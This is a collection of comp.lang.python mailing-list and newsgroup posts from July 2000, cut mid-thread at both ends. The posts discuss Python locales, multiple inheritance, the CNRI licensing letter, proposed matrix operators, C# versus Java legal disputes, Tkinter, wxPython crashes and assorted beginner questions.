- Gordon


From avv at quasar.ipa.nw.ru  Fri Jul 28 14:54:30 2000
From: avv at quasar.ipa.nw.ru (Alexander V. Voinov)
Date: Fri, 28 Jul 2000 11:54:30 -0700
Subject: to better observe locales
Message-ID: <3981D6E6.CE74151D@quasar.ipa.nw.ru>

Hi Python Author and Contributors,

I hope it's not too late to discuss this.

It seems that Python would better observe locales at almost no cost.

1. list.sort(). If the sorted list is just a list of strings, it's
trivial to pass 'strcoll' as an argument. But if the list element is a
tuple, I have to write my own comparison function which would use
locale.

2. Those '\xxx\yyy\zzz' in the string literals, emitted by 'repr'. It
would be a good idea not to encode that way those letters, which are
claimed as letters by the locale.

The default locale is easily read from the environment both on Unices
and on win32. No idea about the rest of the world. Therefore, if the
locale, read from the environment, is not 'en', one may just apply its
rules immediately upon interpreter startup (for the two mentioned
issues, and maybe some others: use strcoll instead of strcmp _everywhere
internally_, use letter ranges, defined by the locale, etc). Otherwise
the current Python supprt of locales would really have no practical use,
even mislead those who believe that support to exist.

Thank you in advance

Alexander



From dgoodger at bigfoot.com  Sun Jul  2 22:00:50 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sun, 02 Jul 2000 22:00:50 -0400
Subject: multiple inheritance in Python?
In-Reply-To: <395FE156.C0C13FBE@esec.com.au>
References: <395FE156.C0C13FBE@esec.com.au>
Message-ID: <B5856C11.5BDC%dgoodger@bigfoot.com>

on 2000-07-02 20:41, Sam Wun (swun at esec.com.au) wrote:
> Does anyone have example of implement multiple inheritance in Python?

My typelib.py module does (available at
http://gotools.sourceforge.net/sgflib in the sgflib.tgz archive). It defines
classes which emulate most of the Python built-in types (duplicating
functionality in UserList and UserDict, I know; I wrote it before I
"discovered" these two standard modules :). Multiple inheritance is emplyed
for common functionality reuse. For example, both the Number and String
classes support the "%" (modulo, or string formatting) operator, so that
functionality is implemented in the ModMixin class, which is inherited by
both classes along with other superclasses:

    class Number(SuperType, AddMulMixin, ModMixin):

    class Sequence(Container, AddMulMixin):

    class String(Sequence, ModMixin):

Hope this helps.

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From gerrit.muller at philips.com  Fri Jul 28 08:49:30 2000
From: gerrit.muller at philips.com (Gerrit Muller)
Date: Fri, 28 Jul 2000 12:49:30 GMT
Subject: [Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de>
Message-ID: <3981815A.58A7070F@philips.com>

The most effective letter contains an open question: asking for
clarification and rationale. Give CNRI the credit for years of active
support and hence assume a good intention.

A letter which sounds like an accusation will force CNRI in the defense,
which at best
results in political correct statements and worst case in lawyer lingo
or silence.

Peter Schneider-Kamp wrote:
>[...snip...]
 --- begin open letter
-------------------------------------------------------
> To: Dr. Robert E. Kahn <rkahn at cnri.reston.va.us>,
>     (president of The Corporation for National Research Initiatives)
> 
> Dear Mr. Kahn,
> 
> as a member of the Python Community which gathers around the newsgroup
> comp.lang.python I would like to express my concern about the latest
> license issues that have arisen around the new 1.6/2.0 releases.
> 
> As of now I have not had the chance to witness any official statement
> from your institution. So I sincerely request a clarification of CNRI's
> position on this matter.
<add>We are especially interested in the underlying intention of this
change.</add>
> 
> I have attached a list of signatures of members of the Python Community
> who are also concerned about the recent developments and through their
> signature support this request for clarification.
> 
> Kind regards,
> Peter Schneider-Kamp
> 
<delete the entire Post Scriptum, it sounds too accusing>
> P.S.:
> I find it rather startling that you see a need to change the license of
> a software whose development already has moved away from your institution.
> 
</delete>
> --- end open letter ----------------------------------------------------------
> --- begin signature list -----------------------------------------------------
> Diehard Py. Fan (diehard at python.fan)
> Implementation Issue (impl at implement.com)
> Want My Python Now (Want.My at Python.Now)
> ...
> --- end signature list -------------------------------------------------------
> 
> Or should it better by a letter from the community to CNRI?

Don't make it too anonimous, a single spokesman backed by the community
is OK.

> 
> while 1: if feedback: break
> Peter
> --
> Peter Schneider-Kamp          ++47-7388-7331
> Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
> N-7050 Trondheim              http://schneider-kamp.de

-- 
-------------------------------------------------------------------------
Gerrit Muller                Philips Research Laboratories Eindhoven
Building:   WLp 1 17                    Prof. Holstlaan 4
Phone: +31 40 27 45242               5656 AA  Eindhoven
Fax:   +31 40 2743741          The Netherlands
mailto:gerrit.muller at philips.com
http://www.extra.research.philips.com/natlab/sysarch/index.html


From tim.hochberg at ieee.org  Thu Jul 20 10:39:02 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Thu, 20 Jul 2000 14:39:02 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net>
Message-ID: <m2snt4or2h.fsf@spiff.home.com>

aahz at netcom.com (Aahz Maruch) writes:

> In article <Pine.LNX.4.10.10007191505070.1129-100000 at rocket.knowledgetrack.com>,
> Huaiyu Zhu  <huaiyu_zhu at yahoo.com> wrote:
> >
> >        matrix          element      names (with prefix m or e)
> >          +               .+            add
> >          -               .-            sub
> 
> I am strongly opposed to operators of the form ".+".  What happens if
> take an expression of the form "5.+matrix"?  No, that goes against the
> Python rule of having zero ambiguity.

Note that if .+, etc are matrix operations, there is no ambiguity
since (5.)+A, etc. is not a legal expression, so the only
interpretation is 5.(+A). Still it looks confusing. I think we should
consider Konrad's suggestion of (*) or something similar.

-tim


From level2junkie at my-deja.com.bbs  Mon Jul 17 11:40:02 2000
From: level2junkie at my-deja.com.bbs (level2junkie at my-deja.com.bbs)
Date: 17 Jul 2000 15:40:02 GMT
Subject: freeze .pyw files?
Message-ID: <3bRGl2$ja5@openbazaar.net>

Can someone tell me if it's possible to freeze a .pyw file.  I've
gotten freeze to work with .py files, but for some reason it seems to
hate the .pyw files.  I'd rather not have that console window pop up
everytime I want to run my application.  Does anyone know how to freeze
a .pyw file?


Sent via Deja.com http://www.deja.com/
Before you buy.


From paul at prescod.net  Sun Jul 16 23:35:23 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 16 Jul 2000 22:35:23 -0500
Subject: Wishlist sumbission form?
References: <eWuc5.40515$MT.1447099@news-west.usenetserver.com>
Message-ID: <39727EFB.77234AEA@prescod.net>

Matthew Cline wrote:
> 
> Is there any way of submitting feature requests for Python,
> other than by filing a bug report?

I don't think so. If it is a very targeted request, you could try the
but report route. If it is large and arguable, you should probably post
it here and get some people to support it. If its good, someone will
implement it. In open source software, only the features that developers
are interested in get implemented so a wish list might well get ignored
anyhow. It's not that nobody cares what you think it's that there's an
infinite list of wishes so people tend to attack them in the order in
order of personal interest or widespread demand.
-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From bjorn at roguewave.com  Tue Jul 18 17:37:23 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Tue, 18 Jul 2000 15:37:23 -0600
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
Message-ID: <3974CE13.3267A16B@roguewave.com>

Andrew Kuchling wrote:
> 
> This is a first experiment in whether I can make a useful,
> interesting, somewhat coherent summary of python-dev activity.
> If reaction is favorable, and time permits, it may become a biweekly
> posting.
> 
> --amk

I think a lot of people would appreciate this (including me)!

[snip]

> ESR suggested adding a standard lexer to the core, and /F suggested an
> extension to regular expressions that would make them more useful for
> tokenizing:
>         http://www.python.org/pipermail/python-dev/2000-July/012032.html

Wasn't there an announcement about plex(?) a little while ago (a pure
python implementation of a lexer)?

-- bjorn



From to_get_my_address at see.my.signature  Thu Jul 27 01:01:11 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 18:01:11 +1300
Subject: Python is wierd!
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com> <8lk1c5$fv4$1@nnrp1.deja.com> <Pine.A32.3.90.1000725123438.17707C-100000@elvis.med.Virginia.EDU> <8llqkl$rof$1@nnrp1.deja.com>
Message-ID: <397FC213.88603B9E@see.my.signature>

Jonathan wrote:
> 
> you can even declare a instance
> variable out of the <class> scope(am i right?)

Strictly speaking, you never "declare" anything in Python. Even
the class and def statements are executable statements that create
an object and put a reference to it in the current namespace.

And to answer your question, yes, you can create an instance
variable at any time simply by executing "instance.name = value".

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From jeremy at beopen.com  Mon Jul 10 14:29:42 2000
From: jeremy at beopen.com (Jeremy Hylton)
Date: Mon, 10 Jul 2000 14:29:42 -0400 (EDT)
Subject: RADIUS authentication poll
Message-ID: <14698.5654.645828.624122@bitdiddle.concentric.net>

We recently received a module submission for the Python standard
library that implements very basic RADIUS authentication.  It's not
clear how widely useful this module would be.  I've never heard of
RADIUS authentication before, so I'm inclined to think it is a bit
obscure for the standard library.  If you think I'm wrong and would
like to see it in the library, please send me a note to that effect.
I'll be happy to include it by popular demand.

The module can be viewed from the Python patch manager at SourceForge:
http://sourceforge.net/patch/download.php?id=100700

-- Jeremy Hylton <http://www.python.org/~jeremy/>



From hinsen at cnrs-orleans.fr  Wed Jul 26 05:23:27 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 26 Jul 2000 11:23:27 +0200
Subject: linear algebra in pure Python?
References: <397E9CBC.2AD8FA89@crystal.uwa.edu.au>
Message-ID: <m3itttfdo0.fsf@chinon.cnrs-orleans.fr>

Douglas du Boulay <ddb at crystal.uwa.edu.au> writes:

> I know that there is the Numeric python extension and/or the
> Matrix extension MatPy, but is there not anywhere a pure Python
> linear algebra package exploiting lists of lists for  matrices and the
> like?

I can send you an array class written in Python and using lists of
lists as data representation. However, there are none of the standard
linear algebra operations (inversion, eigenvalues, ...), and for a
good reason: performance. Even for matrix multiplies this class
is a few orders of magnitudes slower than NumPy!

In case anyone wonders why I wrote it: it was used as a case study in
the early days of NumPy development, before the C implementation was
written.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From michealk at newlix.com  Mon Jul 31 10:14:28 2000
From: michealk at newlix.com (Micheal Kelly)
Date: Mon, 31 Jul 2000 14:14:28 GMT
Subject: Accessing NIC configuration via Python
Message-ID: <8Rfh5.23380$07.914891@news1.rdc1.on.wave.home.com>

Hoping someone can help:

Earlier I posted a message asking how to access low-level Linux network
information in Python - Shae Erisson was kind enough to point out gnetstat
(http://www.linuxcare.com.au/projects/gnetstat) to me...

Unfortunately, this wasn't quite what I was after.  What I'd really like
to get is low-level NIC configuration information, such as the device
names of all configured ethernet cards (eth0, eth1... ethx), their IP
addresses, netmasks, etc.

I could do this by parsing the output of ifconfig, but for various reasons
don't want to do that.  Is there any sort of low-level interface that I
can access via Python to get this information?  I've looked through /proc
to see if there was something I could read, but nothing that seems to
contain the information I'm after.

Help!  :)

- Mike K.



From m.faassen at vet.uu.nl  Tue Jul  4 07:36:02 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 4 Jul 2000 11:36:02 GMT
Subject: Hi, my name is not Mrs so-called Gumblenose
References: <395B2B88.CC3041C1@memo.volvo.se>
Message-ID: <8jsi72$r02$1@newshost.accu.uu.nl>

PM <vtbl.moorepe at memo.volvo.se> wrote:
> My head hurts.

I'm sorry to hear that.

> If I move to Python from Java from RPG from C++ from C from Basic from
> 6502, am I really, really, really, really stupid? I was not very good at
> -any- of them, but I'm as persistent as a crap dance record on Radio 1.

Persistence is important in a good programmer. :) I skipped Java and RPG and
6502 (I did Z80 there), insert some Pascal somewhere in the list and a
smattering of other languages, but I don't consider myself stupid and
came to Python.

> Will this group answer all questions,

It's decent at getting questions answered, yes. Not all.

> solve life's problems?

Unlikely. :)
 
> Can Python kick large bottoms with decent database access - not just SQL
> not ODBC, could it go to DB2/400?

I don't have any experience with DB2/400, but I would imagine that if
someone hadn't whipped something up already, it's possible to do so.

> What I liked about good old DOS/basic was the ability to knock-things up
> and try things out, now that's what has piqued my interest in Python,
> but is it true....

Yes, Python is good for that kind of iterative style of programming;
rapid prototyping is easy. Advantage above Basic is that the programming
language is actually nice and powerful.

> I'll probably waste some time trying to find out,

Good -- have fun!

> but I'm not 14 years old. Wish I was - and could still drive my Audi.

I'm-not-14-years-old-either-and-don't-have-an-Audi-ly yours,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From olivierS.dagenaisP at canadaA.comM  Sun Jul 16 23:54:48 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 17 Jul 2000 03:54:48 GMT
Subject: problems trying wxPython in Win 95
References: <iFtc5.19052$V34.236887@news1.sttls1.wa.home.com>
Message-ID: <csvc5.91049$W35.2102395@news20.bellglobal.com>

I also had a problem with running a wxPython app on a Win95 machine.  Mine
was crashing in the wx(something).DLL.  I think it might have been an MFC
DLL issue, which I have seen a few posts discuss in this newsgroup before.
Try a search on www.deja.com (go to USENET, and then find this newsgroup and
search for something like "wxPython MFC") to see what turns up...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Rob" <europax at home.com> wrote in message
news:iFtc5.19052$V34.236887 at news1.sttls1.wa.home.com...
> I want to run the demo program included in wxPython 2.1.  Upon starting it
I
> immediately get the message appended to this post.  I have two versions of
> Python installed-  1.5.2 and 1.6a2.  I tried the demo from both of them
and
> get the same result.  I tried running it from the console, from PythonWin,
> and from IDLE, all with negative results.  Does anyone have an idea of
what
> is going on?
>
> Thanks,  Rob.
>
> PYTHONWIN caused an exception c06d007eH in module KERNEL32.DLL at
> 0137:bff9a07c.
> Registers:
> EAX=0063d7bc CS=0137 EIP=bff9a07c EFLGS=00000246
> EBX=00000000 SS=013f ESP=0063d7b8 EBP=0063d80c
> ECX=0063d7d4 DS=013f ESI=0063d864 FS=2287
> EDX=ffffffff ES=013f EDI=00000000 GS=0000
> Bytes at CS:EIP:
> 5e 8b e5 5d c2 10 00 64 a1 00 00 00 00 55 8b ec
> Stack dump:
> 018a9c34 c06d007e 00000000 00000000 bff9a07c 00000001 0063d830 bff782c7
> 817f9000 81821708 00081822 00000000 0063d6e3 00000000 bff7c4f7 0188e4d0
>
>




From chwieser at ee.oulu.fi  Wed Jul  5 05:33:52 2000
From: chwieser at ee.oulu.fi (Christian Wieser)
Date: 5 Jul 2000 09:33:52 GMT
Subject: py-libcap
Message-ID: <8juve0$n1o$2@ousrvr3.oulu.fi>

-- 

Morning,

I am in need of py-libcap. Unfortunally the link at Pamasus is down ;-(

  http://www.vex.net/parnassus/apyllo.py/126307487.528281449

Can someone please send me the file? 
And maybe an example?

By the way: Is there a wrapper for libnet to inject IP packets too available?

Regards,


--
Christian Wieser - Oulu Secure Programming Group
mailto: chwieser at ee.oulu.fi

See my homepage at http://www.ee.oulu.fi/~chwieser for my PGP-Public-Key



From jesse at multimediacollective.com  Fri Jul 28 14:47:14 2000
From: jesse at multimediacollective.com (jesse at multimediacollective.com)
Date: Fri, 28 Jul 2000 18:47:14 -0000
Subject: finding/counting files
Message-ID: <8lskfi+r5ek@eGroups.com>

   What would the proper command be for finding a file within a 
folder?  I want my program to check to see if there is a folder 
called 'test.txt' in the folder, and if there is, count the number of 
files in that folder.  What commands would I use for both these 
problems?




From stephen at cerebralmaelstrom.com  Mon Jul 10 01:19:00 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Mon, 10 Jul 2000 05:19:00 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com>
Message-ID: <81da5.125084$WS3.1096675@typhoon.we.rr.com>

    I do not know any specifics on C#, but I do know (or believe, at least)
that:
    #1) There is no Java code used in C#
    #2) The language is not going to be designed in the exact same way
    #3) The language does not claim to be Java

    Exactly what do you think Sun can do? File for copyright infrigement?
What did the copy -- the purpose of the language? You can't copyright
an entire field or application for something. Neither can you patent it --
you can only patent a specific method or device that is being used to
accompilsh the terms.

    So what if C# behaves ever so much like Java. Java is rather similar
to other languages, too. As far as i'm aware, you can get around software
patents or copyrights by simply rewriting the software yourself. It can fit
into the exact same nitch, but its your code done your way.

--S

Thaddeus L. Olczyk <olczyk at interaccess.com> wrote in message
news:3968fadf.299209218 at nntp.interaccess.com...
> On Sat, 01 Jul 2000 05:10:50 GMT, Courageous <jkraska1 at san.rr.com>
> wrote:
(snip)
> Nope. Microshit is stupid to even try to copy Jva. I hold up a page of
> Java code and a page ofC++ and tell you which is which. Java is not a
> variant of C++. Java is a very different variant of C . Otherwise it
> would not be so popular. After all, if it were a C++ variant why would
> people go to all the trouble to switch from C++.
>
> C# OTOH is a clear rip off of Java. It is hard if not impossible to
> take a C# program remove all "Microsoft Enhancements" ( meaning
> all the features that tie it to COM ) and have it not look like a Java
> program. I suggest that if you want to continue Astroturfing, you
> learn something about programming language syntax.
>
>
>




From amused at webamused.com  Sat Jul  1 11:51:48 2000
From: amused at webamused.com (Joshua Macy)
Date: Sat, 01 Jul 2000 15:51:48 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com>
Message-ID: <395E05CD.E38F642C@webamused.com>

"Thaddeus L. Olczyk" wrote:
> 
> On 28 Jun 2000 06:02:09 GMT, thomas at xs4all.nl (Thomas Wouters) wrote:
> 
> >On Wed, 28 Jun 2000 04:05:21 GMT, Courageous <jkraska1 at san.rr.com> wrote:
> >
> >>> On top of that, very likely that if SUN sues they win.
> >
> >>Ridiculous.
> >
> >Very much so. But it wouldn't be suprising just the same, given the American
> >patenting/registration practices and the average american courthouse ;-)
> >
> >Overseas-ly y'rs,
> >       Thomas
> Virtually all SUN has to do is pull some of the demo programs out of
> Microsofts manual. Write the equivalent code in python, perl, C++,
> pascal, and a few other languages. Compare them side by side. A fairly
> sophisticated person can see that it's resemblance to Java. Look at
> the law judges are sophisticated enough. Given that Microshit is being
> sued by SUN for their abuse of Java, I don't think it will be hard at
> all for  SUN to convince a judge that all C# is, is a variant of Java
> with tons of proprietary crap glued on and the label changed.


  You seem to be under the misapprehension that under American law, Sun
owns the very concept of the Java language--that's just not true.
Microsoft could make their own version of Java if they wanted...that's
perfectly legal; IBM is contemplating doing just that. What Microsoft
did wrong was they used Sun's own code, which came with a license that
forbade making incompatible extensions, to make an implementation with
incompatible extensions.  If they had gone to the effort of making a
clean version of the code, they would have been in the clear.  The only
problem they would have faced is that they might not have been able to
use the Java trademark, which--guess what--C# doesn't do.


  Joshua


From slinkp23 at yahoo.com  Mon Jul 10 06:43:04 2000
From: slinkp23 at yahoo.com (Paul Winkler)
Date: Mon, 10 Jul 2000 06:43:04 -0400
Subject: Namespace weirdness
References: <3968E1B0.B6E6F3E9@yahoo.com> <8F6CECA93gmcmhypernetcom@199.171.54.194> <39692118.9D6EAFAA@yahoo.com> <q9da5.21142$ll.130599@news1.rdc1.az.home.com>
Message-ID: <3969A8B8.FCA803F3@yahoo.com>

Tim Hochberg wrote:
> Just to add to keep tings a bit confusing, let me show a way to do more or
> less what you're trying to do. I don't really recomend it, but it's an
> entertaining little trick. There are two signifigant changes: first the
> class definition is moved up yet another level so that it's defined in the
> __init__ function. This is because you're really trying to get at instance
> data, not class data. The second change is to specificall add the instance
> namespace to the BodyPart class. I also manually added BodyPart to the
> instance namespace since otherwise there would be no way to get at it. So
> here, for your entertainment is the final version. Enjoy!
> 
> class Food:
>    def __init__(self, attr1):
>        self.attr1 = attr1
>        class BodyPart:
>            def do_it(self):
>                print self._foodInstance.attr1
>        BodyPart._foodInstance = self
>        self.BodyPart = BodyPart

That is very peculiar indeed. attr1 is now shared across all
instances of Food.BodyPart() which indeed has the effect I wanted.
I can even manually change attr1 and it affects all subsequent calls
to Food.BodyPart.do_it().

I like that, but the fact that it's so unusual makes me think that
this is probably not the best way to design my app...

The whole thing I was trying to avoid was passing a hundred
arguments to a dozen objects contained within a Food instance, and
it turns out there's a better way. (I should learn to just ask "How
should I do x?" rather than "Can I do x in this particular strange
fashion?")

The job I'm trying to do has a _lot_ of variables involved, and
being a novice I of course came up with the weirdest possible
strategy for avoiding a lot of typing. :) And of course there's a
better way, see below.

For instance I didn't want to have to say:

class Food:
	def __init__(self, arg1, arg2, arg3, ...arg100):
		self.arg1 = arg1
		self.arg2 = arg2
		...
		self.arg100 = arg100
		# Note below that I can't just say SomeClass(arg1, arg2...)
		# because then changing some_food_instance.arg1 will not
		# affect some_food_instance.some_SomeClass_instance,
		# which I need it to do.
		self.thing1 = SomeClass(self.arg1, self.arg2, ...self.arg100)
		self.thing2 = SomeClass(self.arg1, self.arg2, ...self.arg100)
		...

class SomeClass:
	def __init__(self, arg1, arg2, arg3... arg100)
		self.arg1 = arg1
		self.arg2 = arg2
		self.arg3 = arg3
		...
		self.arg100 = arg100

...

See my point? for each argument, I have to type the argument twice
to get it into my Food class, then twice more for every class that
needs to do something with it, then at least once more to actually
use it in a method.
So for N parameters that affect Food, I have to type as many as N *
5 variables just to do anything at all. This seems like too much
work. If N = 100, and it might be, it will drive me crazy.

But I overlooked the obvious. Just stuff all those arguments into a
dictionary!
Then my code above looks like:

class Food:
	def __init__(self, args = {}):
		self.args = args
		self.thing1 = SomeClass(self.args)
		self.thing2 = SomeClass(self.args)
		...

class SomeClass:
	def __init__(self, args)
		self.args = args
	def do_something_useful:
		print self.args['some_key']
		...

Ahhh, much better. Now I only have to deal with the entire list of
args (now keys) once, when I create a Food instance, and then just
reference each by key when needed.

And accessing the parameters as args['key'] is actually a lot easier
than typing self._parentInstance.arg1 or some such weirdness.


p.s. there are several common English insults that take the form of
Food.BodyPart, hence my weird choice of names.

egg.head
meat.head
cheese.head
lard.ass
pizza.face
beer.belly

I have the feeling there are more...
-- 
.................    paul winkler    ..................
slinkP arts:   music, sound, illustration, design, etc.
        web page:  http://www.ulster.net/~abigoo        
      A member of ARMS:   http://www.reacharms.com
               or http://www.mp3.com/arms


From peter at schneider-kamp.de  Wed Jul 12 04:51:28 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Wed, 12 Jul 2000 08:51:28 +0000
Subject: Sound module question
References: <396BBA07.E844152@bresnanlink.net>
Message-ID: <396C3190.ACB821A8@schneider-kamp.de>

Aaron Berg wrote:
> 
> I started programming python a few months ago and I am still learning.
> Does anyone know of a sound module for simple reading and writing of
> sound in linux? I know there is a win32 sound module and there is one
> for SGI but is there one for linux? oss or alsa... I don't know much
> about this issue so it is possible i am just looking in the wrong place.

There is a linuxaudiodev module, but that's probably not what you
are looking for (too low level?). I don't know what that does.

A Python soundserver for linux is available from http://pysol.tsx.org
For an application that uses it you are also right on that page (hint).
It can play WAV, MP3 and MOD files and uses the SDL library. You
also need another library called smpeg (or so, look at the README
that comes with the soundserver). SDL is a sound library which runs
on win32, linux and (as I understand) some other systems. So you
should be pretty portable with that one. I haven't tried, but I
think extending that module to play other sound etc. should be easy.

hope-that-helps,
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From fiona at sitegnome.com  Wed Jul  5 19:53:39 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Thu, 06 Jul 2000 09:53:39 +1000
Subject: [ANNOUNCE] Python Snippets added to python.faqts.com
Message-ID: <3963CA83.5A50F446@sitegnome.com>

Many thanks to Hans Nowak for providing FAQTs with his collection of
snippets for entry into http://python.faqts.com.

They can be found directly at

http://www.faqts.com/knowledge-base/index.phtml/fid/538/lang/en

The knowledge base now contains greater than 653 questions with
answers!!

regards,

Fiona Czuczman


From gregholmes at my-deja.com  Thu Jul  6 13:09:26 2000
From: gregholmes at my-deja.com (gregholmes at my-deja.com)
Date: Thu, 06 Jul 2000 17:09:26 GMT
Subject: tkinter frames
References: <8k26af$1nq$1@nnrp1.deja.com>
Message-ID: <8k2efs$7fd$1@nnrp1.deja.com>

Don't you need to pack() or grid() the label sometime?
label1.pack()

In article <8k26af$1nq$1 at nnrp1.deja.com>,
  Keith Murphy <kpmurphy at my-deja.com> wrote:
> can anyone tell me why this doesn't work?
>
> from Tkinter import *
>
> root = Tk()
> myFrame = Frame(root, width=200, height=200, bg='red')
> myFrame2 = Frame(root, width=200, height=200, bg='orange')
>
> label1 = Label(myFrame, text='hi')
>
> myFrame.grid(row=0, column=0)
> myFrame2.grid(row=0, column=2)
>
> root.mainloop()
>
> ...(in my mind)it should display two colored frames, one containing a
> label.
>
> thanks,
> -->keith
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From gregory.lielens at fft.be  Thu Jul 20 14:17:17 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Thu, 20 Jul 2000 20:17:17 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com> <39773559.77C3D696@yale.edu>
Message-ID: <3977422D.ED3EAF05@fft.be>

Paul Magwene wrote:
> 
> Tim Hochberg wrote:
> >
> > Gregory Lielens <gregory.lielens at fft.be> writes:
> >
> > > Tim Hochberg wrote:
> > [...]
> > > I like the parethese a lot! except for ? which is probably out of
> > > question,
> > > this is the prettier way to do it, but (alwas a but :-( )
> > >
> > > - the solve operator indeed...The only thing i can come with is the ugly
> > > (%)
> > >   or the pretty but out-of-question (\)
> >
> > My favorite right now is |. So one would have:
> >
> > A[*]B    # matouter
> > A(*)B    # matinner
> > A(/)B    # matdiv
> > A(|)B    # matsolve
> > A(^)B    # matpower
> >
> > Alternatively, one could use:
> >
> > A(*)B   # matouter
> > A(.)B   # matinner (AKA dot, get it?)
> >
> > That would cut down on the available symbols, but might make parsing
> > easier? It might also be easier to distinguish between the two
> > products.
> >
> > I've left out other potential outer operators (outer sum, etc) and
> > alternate inner products (Lie, Kroneker, ?) pending finding a
> > constituency for them.
> 
> Kronecker products get used enough (at least in statistics) that I'd
> hope we'd include 'em (we're already on our way down the slippery slope,
> so I may as well lobby for operators *I* want ;-).
> 
> How about:
> 
> A{*}B   # matkron
> 
> (Paralleling A[*]B for matouter, and A(*)B for matinner)

I think thay may be a little too many products here( - I never though I
would say that :-)), am i wrong?
I would let the inner (*) and element product * be the main one (they
are the more used, I think ... at least
tey were the only one i was aware of (except vector/cross product for
vectors) 2 hours ago!)
The other ones could be functions, or mapped to a third unallowed
product-like sign, [*] for example, depending
on your particular field...A general inner/outer product specifing
indices of contraction,and new dummy indices, could probably be used to
defined quite easily all these particular products...

here is my attempt for matouter a[*]b as an example, using my previous
notation and a RemoveAxis which would be the pendant 
of NumPy NewAxis and will change a rank n tensor into a rank n-1 tensor
with the same number of elements (a generalisation of matlab a(:) which
transform a matrix in a column vector) (if this looks completely
ridiculous to you - it probably is, i am a beginner both in Python and
NumPy, so do not hesitate to correct my stupid errors!)

def __specialproduct__(self,b):
  rank4tensor = self.i(1,2) (*) b.i(3,4)
  return(rank4tensor[RemoveAxis,RemoveAxis,:,:])

What do you think?

Greg.


From hzhu at localhost.localdomain.bbs  Mon Jul 17 21:50:02 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 18 Jul 2000 01:50:02 GMT
Subject: Does Python support interfaces?
Message-ID: <3bRWfR$lLf@openbazaar.net>

On Tue, 18 Jul 2000 01:08:03 GMT, Randall Parker <rgparker at west.net> wrote:
>I'm quite new to Python. For those who are familiar with Java interfaces:
>Does Python have a similar facility?
>
>Can one declare interfaces, then declare that a class implements some
>interface, instantiate an object of that class type, and then cast it to
>an interface that it is declared to support and then pass it around as a
>reference to that interface type and make calls to methods of that
>interface type?
>

Maybe someone has a better solution, but here's a little program that checks
which method is implemented in which class, of what type.  You can add more
bells and whistles in similar fashion (like the names of arguments)

http://x53.deja.com/getdoc.xp?AN=635109618

I can only track it in deja news.  It seems that the archive for Jun 1-15 is
missing from pipermail archive.

--
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net


From paulb at infercor.no  Fri Jul 28 13:09:36 2000
From: paulb at infercor.no (Paul Boddie)
Date: Fri, 28 Jul 2000 19:09:36 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com>
Message-ID: <3981BE50.23DB16C5@infercor.no>

Alex Martelli wrote:
> 
> "Paul Boddie" <paulb at infercor.no> wrote in message
> news:39814767.FFEFE5D0 at infercor.no...
>     [snip]
> > > 1 + "foo" = string ("1foo")
